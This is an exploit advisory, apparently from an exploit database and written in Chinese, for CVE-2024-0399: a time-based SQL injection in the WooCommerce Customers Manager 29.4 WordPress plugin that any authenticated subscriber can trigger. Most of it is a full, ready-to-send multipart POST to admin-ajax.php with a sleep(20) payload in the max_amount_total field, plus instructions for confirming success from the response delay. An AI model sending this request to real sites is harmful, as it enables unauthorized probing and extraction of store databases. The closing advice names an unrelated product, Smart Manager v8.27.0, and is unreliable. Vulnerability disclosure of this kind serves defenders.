漏洞名称： WooCommerce Customers Manager 29.4 - 认证后SQL注入
日期： 2024-03-25
漏洞作者： Ivan Spiridonov - xbz0n
软件链接： https://codecanyon.net/item/woocommerce-customers-manager/10965432
版本： 29.4
测试环境： Ubuntu 22.04
CVE编号： CVE-2024-0399
该插件未能正确清理和转义SQL语句中使用的参数，导致拥有订阅者及以上角色的用户可利用SQL注入漏洞。
漏洞存在于管理AJAX端点中使用的交易金额参数（如'max_amount'、'max_amount_total'、'min_amount'和'min_amount_total'）。通过在参数中注入SQL命令，经过身份验证的攻击者可以操纵SQL查询，导致基于时间的SQL注入漏洞。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
如果服务器响应延迟约20秒，则表明基于时间的SQL注入利用成功，确认存在漏洞。
强烈建议使用 WooCommerce Customers Manager v29.4 的用户限制受影响端点的访问权限，并在修复版本发布后立即更新插件。本通告提醒所有使用 Smart Manager v8.27.0 的用户立即更新插件以防止此SQL注入漏洞。